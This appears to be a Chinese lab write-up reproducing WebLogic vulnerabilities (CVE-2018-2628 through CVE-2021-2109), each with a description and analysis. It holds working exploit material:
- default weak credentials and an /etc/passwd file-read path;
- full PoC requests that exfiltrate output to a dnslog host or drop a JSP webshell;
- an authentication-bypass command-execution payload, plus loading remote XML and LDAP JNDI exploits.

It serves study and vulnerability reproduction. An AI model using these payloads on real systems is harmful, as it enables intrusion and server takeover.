文章目录

  • Weblogic 常规渗透测试环境
    • 0x00 测试环境
    • 0x01 弱口令
    • 0x02 任意文件读取漏洞的利用
    • 0x03 后台上传webshell
  • Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 漏洞分析
    • 0x03 漏洞复现
  • Weblogic 任意文件上传漏洞(CVE-2018-2894)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 漏洞分析
    • 0x03 漏洞复现
  • Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 漏洞分析
    • 0x03 漏洞复现
  • Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 漏洞分析
    • 0x03 漏洞复现
  • Weblogic LDAP 远程代码执行漏洞(CVE-2021-2109)
    • 0x00 漏洞描述
    • 0x01 影响版本
    • 0x02 漏洞分析
    • 0x03 漏洞复现

Weblogic 常规渗透测试环境

0x00 测试环境

本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

Weblogic版本:10.3.6
Java版本:1.6


0x01 弱口令

weblogic常用弱口令:

system / password
weblogic / weblogic
weblogic / Oracle@123
admin / admin
joe / password
mary / password
system / security
wlcsystem /     wlcsystem
wlpisystem / wlpisystem

0x02 任意文件读取漏洞的利用

本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码:

然后就可以使用工具解密密文了。


0x03 后台上传webshell

进入后台,点击左侧【部署】 => 【安装】 => 【上载文件】:

一直点上面的下一步:

点击完成,保存:

访问大马连接:


Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

0x00 漏洞描述

T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。

反射机制:
Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方向和属性;这种动态获取的信息以及动态调用对象的方法称为 java 语言的反射机制。

RMI:
RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

RMI传输过程都使用序列化和反序列化,如果RMI服务端端口对外开放,并且服务端使用了像Apache Commons Collections这类库,那么回导致远程命令执行。

RMI依赖Java远程消息交换协议JRMP(Java Remote Messaging Protocol),该协议为java定制,要求服务端与客户端都为java编写。

绕过黑名单:
Weblogic 中InboundMsgAbbrevresolveProxyClass处理rmi接口类型,因为只判断了java.rmi.registry.Registry ,找一个其他的RMI 接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。


0x01 影响版本

Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3


0x02 漏洞分析

其基本原理其实是利用T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用,能够在本地虚拟机上调用远端代码。

T3也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。T3是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。借助这种方法,基于Java的客户端可以根据服务器方需求使用多种RMI对象,但仍使用一个套接字和一条线程。

Weblogic 使用了Apache Commons Collections库,利用Apache Commons Collections库,通过反射的方式执行恶意payload,这里实现反射的函数是InvokerTransformer,他们的共同特点是都需要实现序列化接口才能被反序列化。

源码分析:http://blog.topsec.com.cn/cve-2018-2628-weblogic


0x03 漏洞复现

下载工具上传webshell:https://github.com/jas502n/CVE-2018-2628

访问木马地址,命令需要经过base64编码:

T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:nmap -sV --script=weblogic-t3-info.nse -p 7001

内网使用最新的利用链即可:https://github.com/Bort-Millipede/WLT3Serial


Weblogic 任意文件上传漏洞(CVE-2018-2894)

0x00 漏洞描述

WebLogic管理端未授权的两个页面存在任意上传漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。


0x01 影响版本

Oracle WebLogic Server 10.3.6.0
Oracle WebLogic Server 12.1.3.0
Oracle WebLogic Server 12.2.1.2
Oracle WebLogic Server 12.2.1.3


0x02 漏洞分析

/ws_utc/config.do在开发模式下无需认证,Web Service Test Page在生产模式下默认不开启,利用起来有一定限制。访问/ws_utc/config.do可上传任意文件,而上传文件过程没有做任何过滤和检查。

源码分析:https://xz.aliyun.com/t/2458


0x03 漏洞复现

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的:

然后点击安全 -> 增加,然后上传webshell:

上传后,查看返回的数据包,其中有时间戳:

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],可执行webshell:


Weblogic 反序列化远程代码执行漏洞(CVE-2019-2725)

0x00 漏洞描述

Weblogic反序列化远程代码执行漏洞。由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送特意构造的恶意HTTP请求,利用该漏洞获取服务器权限,实现远程代码执行。


0x01 影响版本

Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3


0x02 漏洞分析

该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

wls9_async组件是默认启用的,访问http://xxxxx/_async/AsyncResponseService 页面(注意不能用/闭合),若出现以下状况,则可能存在漏洞:

或者访问http://xxxxx/_async/ 页面,页面返回403则可能存在漏洞,返回404则不存在:

源码分析:https://www.freebuf.com/articles/web/202203.html


0x03 漏洞复现

环境搭建完成后,访问http://xxxxx/_async/AsyncResponseService ,并带上下方poc,用dnslog外带数据:

POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.xxx.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>


写入webshell小技巧 ,添加info有路径显示:

利用下方POC上传webshell:

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1142
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string><void method="println"><string><![CDATA[
<%if("123".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a = -1;byte[] b = new byte[1024];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>]]>
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>


访问执行:


Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

0x00 漏洞描述

CVE-2020-14882 允许远程用户绕过管理员控制台组件中的身份验证,而 CVE-2020-14883 允许经过身份验证的用户在管理员控制台组件上执行任何命令。使用这两个漏洞的连锁,未经身份验证的远程攻击者可以通过 HTTP 在 Oracle WebLogic 服务器上执行任意命令并完全控制主机。


0x01 影响版本

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0


0x02 漏洞分析

CVE-2020-14882是绕过weblogic控制台认证:

  1. 访问一些console后台的资源文件的时候,console在处理请求时是不需要登录状态的。
  2. weblogic会对提交的url进行两次url编码。

通过二者之间的配合,在后续的操作中weblogic并没有对路径穿越进行防范,可访问/console/css/%252e%252e%252fconsole.portal绕过登录限制

CVE-2020-14883则是经过身份认证的反序列化RCE,两者结合可导致未经身份认证的RCE

源码分析:http://hackdig.com/11/hack-190259.htm


0x03 漏洞复现

正常访问console会跳转至登录页面,访问http://your-ip:7001/console/css/%252e%252e%252fconsole.portal可绕过登录限制访问后台:

这与横穿输入账号认证登录后的页面是有差异的,由于权限不足,缺少部署功能,此时是无权上传webshell的,这时候就需要第二个漏洞CVE-2020-14883

第一种方式,通过com.tangosol.coherence.mvel2.sh.ShellSession(只对12.2.1 及以上版本利用,因为 10.3.6 不存在该类):
构造回显payload:

GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=AFM58CIW0tRolAvGMWDy1cDkwKV928cS6c_HVcnAQls_Klr4buGA!-549917897;
UM_distinctid=17baaaf137a359-0c8cd346ea5ed58-4c3e247b-1fa400-17baaaf137b3ad
cmd: id
Upgrade-Insecure-Requests: 1

请求头中添加cmd头:

第二种方式,通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext类来加载外部xml执行命令, 是一种更常见的漏洞利用,它首先在CVE-2019-2725中引入,可用于任何 Weblogic 版本。

受限构造一个XML文件并放在weblogic可访问的服务器上:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[touch /tmp/success2]]></value></list></constructor-arg></bean>
</beans>

然后构造paylod访问如下url:http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://example.com/rce.xml”)

weblogic将加载外部xml执行其中命令,成功创建文件(利用条件是目标服务器能出外网):


Weblogic LDAP 远程代码执行漏洞(CVE-2021-2109)

0x00 漏洞描述

该漏洞为Weblogic的远程代码执行漏洞。漏洞主要由JNDI注入,导致攻击者可构造恶意请求,执行任意代码,从而控制服务器。JDK 6u201、7u191、8u182、11.0.1版本或以上不受CVE-2021-2109漏洞的影响。


0x01 影响版本

WebLogic Server 10.3.6.0.0
WebLogic Server 12.1.3.0.0
WebLogic Server 12.2.1.3.0
WebLogic Server 12.2.1.4.0
WebLogic Server 14.1.1.0.0


0x02 漏洞分析

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

RMI是Java远程方法调用,是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。

LDAP是基于X.500标准的轻量级目录访问协议,目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

攻击者可通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后达到远程代码执行

源码分析:https://zhuanlan.zhihu.com/p/404255545


0x03 漏洞复现

访问http://you-ip:7001/console/css/%252e%252e%252f/consolejndi.portal,若存在未授权访问,则影响范围内可能存在此漏洞:
首先需要在另一台公网服务器(目标机能通的服务器)上启动ldap脚本:https://github.com/feihong-cs/JNDIExploit

java -jar JNDIExploit-v1.11.jar -i xx.xxx.xxx.xxx (服务器ip)

访问执行命令回显:

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注意,ldap地址的第三个分隔符为分号


参考链接:
https://xz.aliyun.com/t/2458(WebLogic任意文件上传漏洞复现与分析 -【CVE-2018-2894 】)
https://blog.csdn.net/xuandao_ahfengren/article/details/106597145(CVE-2018-2628漏洞复现)
https://blog.csdn.net/yeshankuangrenaaaaa/article/details/107533194(CVE-2019-2725漏洞复现)
https://144.one/weblogic-cve-2020-1488214883lou-dong-fen-xi.html(weblogic-cve-2020-1488214883)
https://www.cnblogs.com/xuanlvsec/p/14341151.html(CVE-2021-2109)

[Vulhub] Weblogic 漏洞复现相关推荐

  1. weblogic漏洞复现整理汇总(vulhub)

    weblogic漏洞复现整理汇总(vulhub) 目录 weblogic漏洞复现整理汇总(vulhub) 一.概述 二.任意文件上传漏洞(CVE-2018-2894) 三.XMLDecoder反序列化 ...

  2. weblogic漏洞复现

    weblogic 漏洞复现 Weblogic ssrf https://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec20170210143122000 ...

  3. vulhub靶场-weblogic漏洞复现

    目录 weak-password CVE-2018-2894 SSRF(CVE-2014-4210) CVE-2020-14882&14883 CVE-2018-2628 CVE-2017-1 ...

  4. weblogic 漏洞复现

    cd vulhub/weblogic/CVE-2018-2894/ //进入对应得目录sudo service docker start //启动docker服务docker-compose up - ...

  5. Java安全-Java Vuls(Fastjson、Weblogic漏洞复现)

    复现几个 Java 的漏洞,文章会分多篇这是第一篇,文章会分组件和中间件两个角度进行漏洞复现 复现使用环境 Vulhub VulFocus 文章目录 组件 Fastjson 1.2.24 反序列化 R ...

  6. weblogic漏洞复现(CVE-2020-2555)

    漏洞环境:fofa自己找,server=weblogic port=7001 一.漏洞简介 该反序列化的gadget存在与coherence包中.具体可以见分析 构造chain类似于common-co ...

  7. [web攻防] weblogic 漏洞复现 CVE-2017-10271CVE-2018-2628CVE-2018-2894

    用docker复现weblogic的部分高危漏洞,主要是记录下一些操作,积累自己的知识储备.由于时间与个人水平原因,不对原理做过多叙述. 目录 环境打开方式 CVE-2017-10271 weblog ...

  8. vulhub中漏洞复现1

    CVE-2018-18778 CVE-2018-18778是基于mini_httpd的一个任意文件读取漏洞 Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的 ...

  9. webLogic漏洞目录

    WebLogic漏洞复现与分析 1:webLogic漏洞列表 控制台路径泄露 Weakpassword SSRF: CVE-2014-4210 JAVA反序列化: CVE-2015-4852 CVE- ...

最新文章

  1. Fedora重新调整发布周期,Fedora 30将保留很长时间
  2. webpack + react 使用 eslint
  3. Linux学习之常用技巧
  4. 建议看 | 计算机网络核心概念
  5. 简述计算机进行远程桌面管理操作过程,服务器应用之“远程桌面连接”(操作篇)...
  6. 创建前缀一样的文件_Win10更快速创建或重命名仅扩展名文件
  7. 简单干净的C#方法设计案例:SFCUI.AjaxValue()之三
  8. 一文弄懂Java中的四种引用类型
  9. OkHttp3用法全解析
  10. 局域网自定义域名H5站点移动设备测试时的代理设置
  11. 计算机网络教程 笔记整理
  12. ARM公司发展历程 - 从1985年至今
  13. 一般线性规划求最大值
  14. excel文件无法打印提示内存不足_Mac应用程序无法打开提示不明开发者或文件损坏的处理方法
  15. 计算机大赛的英语怎么说,最全英语奖项 比赛名称翻译.doc
  16. 广域网技术(PAP和CHAP)
  17. minecraft java版皮肤查看_我的世界官网针对Minecraft Java版玩家皮肤的更新
  18. 1.调查问卷-接口文档
  19. 如何通过 AirPlay 镜像您的 Mac 显示器
  20. html5作品展示的动效,HTML5 动效的常见制作方法

热门文章

  1. 双色球红球组合次数计算及输出每组数字
  2. 极坐标与平面直角坐标之间的互相转化
  3. EDK2-201903 BIOS 入门
  4. 未能加载文件或程序集MySq.Data, Version=6.9.8.0,Cuiture=neutra, PublicKey Token=c5687c2869c44d或它的某一个依赖项。
  5. 移动通信现状及技术发展展望(转)
  6. 游泳耳机排行有哪些,列举几款排名前四的游泳耳机
  7. 有一个人前来买瓜 | C++ | 二维背包问题
  8. 面试 | 测试开发岗位面试题目回顾
  9. 增值税等普通发票扫描识别系统
  10. java swing 串口_java 接受串口数据并做成示波图